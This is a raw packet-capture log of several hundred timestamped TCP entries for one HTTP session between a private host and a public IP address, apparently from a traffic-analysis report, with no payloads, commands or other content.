Jun 16, 2021 12:06:00.817790031 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.817814112 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.817821980 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.817838907 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.817862988 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.817872047 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.817888975 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.817914009 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.817919970 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.817939043 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.817970991 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.818459034 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.818484068 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.818509102 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.818526983 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.818530083 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.818552017 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.818561077 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.818573952 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.818598986 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.818605900 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.818622112 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.818644047 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.818654060 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.818665028 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.818685055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.818696022 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.818706036 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.818727016 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.818737030 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.818748951 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.818772078 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.818779945 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.818794012 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.818826914 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.819380045 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.819406986 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.819431067 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.819448948 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.819453955 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.819474936 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.819483995 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.819497108 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.819519043 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.819525957 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.819542885 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.819564104 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.819572926 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.819585085 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.819605112 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.819613934 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.819627047 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.819648981 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.819658995 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.819672108 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.819694042 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.819703102 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.819715023 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.819744110 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.820096016 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.820286989 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.820312023 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.820342064 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.820344925 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.820369959 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.820398092 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.820400953 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.820424080 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.820449114 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.820453882 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.820475101 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.820501089 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.820507050 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.820525885 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.820550919 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.820558071 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.820575953 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.820601940 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.820607901 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.820626020 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.820652008 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.820655107 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.820677042 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.820704937 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.821044922 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.821780920 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822006941 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822061062 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.822154999 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822225094 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822267056 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.822454929 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822479010 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822500944 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822520018 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.822524071 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822545052 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822556973 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822578907 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822581053 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.822601080 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822614908 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.822622061 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822638988 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822659016 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.822671890 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822698116 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822705984 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.822721958 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822742939 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822753906 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.822763920 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822784901 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822796106 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.822805882 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822828054 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822839022 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.822849035 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822869062 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822880983 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.822890043 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822910070 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822920084 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.822927952 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822949886 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822959900 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.822971106 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.822990894 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.823003054 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.823013067 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.823033094 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.823043108 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.823071957 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.823091984 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.823107004 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.823132992 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.823156118 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.823172092 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.823174953 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.823200941 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.823211908 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.823223114 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.823244095 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.823255062 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.823265076 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.823285103 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.823295116 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.823307037 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.823323011 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.823338032 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.843524933 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.843564034 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.843594074 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.843611002 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.843621016 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.843628883 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.843647003 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.843671083 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.843677998 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.843696117 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.843720913 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.843724966 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.843744993 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.843775034 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.843800068 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.843899012 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.843930960 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.843981028 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844007015 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844032049 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844038963 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.844057083 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844083071 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844089985 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.844108105 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844132900 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844144106 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.844157934 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844182968 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844189882 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.844208002 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844233990 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844243050 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.844259024 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844284058 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844291925 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.844307899 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844336987 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.844532967 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844556093 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844578028 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844594002 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.844599962 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844619989 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844634056 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.844646931 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844670057 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844691992 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844693899 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.844723940 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.844727993 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844818115 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.844852924 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.844918966 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.845011950 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.845042944 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.845045090 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.845067024 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.845092058 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.845098972 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.845117092 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.845230103 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.845700979 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.845731020 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.845755100 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.845765114 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.845777988 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.845798969 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.845808029 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.845819950 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.845840931 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.845850945 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.845863104 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.845885038 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.845897913 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.845909119 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.845932961 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.845942020 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.845952988 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.845973969 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.845983982 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.845993996 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.846015930 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.846029043 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.846035957 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.846066952 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.846735954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.846771002 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.846796989 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.846806049 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.846823931 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.846849918 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.846858978 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.846874952 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.846899033 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.846910954 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.846925020 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.846951008 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.846963882 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.846976995 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.847002029 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.847009897 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.847026110 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.847050905 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.847064972 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.847074986 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.847125053 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.847270966 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.847296953 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.847337008 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.847676992 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.847698927 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.847723961 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.847734928 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.847749949 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.847771883 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.847780943 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.847794056 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.847816944 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.847825050 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.847839117 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.847860098 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.847868919 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.847881079 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.847903967 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.847910881 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.847924948 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.847946882 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.847955942 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.847969055 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.847990036 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.848001003 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.848011017 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.848032951 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.848041058 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.848054886 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.848076105 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.848084927 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.848094940 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.848121881 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.861649036 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.863605976 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.879322052 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879354954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879390955 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879411936 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.879416943 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879441977 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879465103 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879466057 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.879487991 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879496098 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.879513025 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879539013 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879547119 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.879565954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879590034 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879599094 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.879616022 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879640102 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879647017 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.879668951 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879693985 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879699945 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.879719019 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879744053 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879754066 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.879802942 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879827023 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879838943 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.879848003 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879868984 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879879951 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.879889965 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879910946 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879923105 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.879931927 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879951954 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.879961967 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.880168915 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.880207062 CEST	49170	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:06:00.880207062 CEST	80	49170	172.67.158.27	192.168.2.22
Jun 16, 2021 12:06:00.880266905 CEST	80	49170	172.67.158.27	192.168.2.22
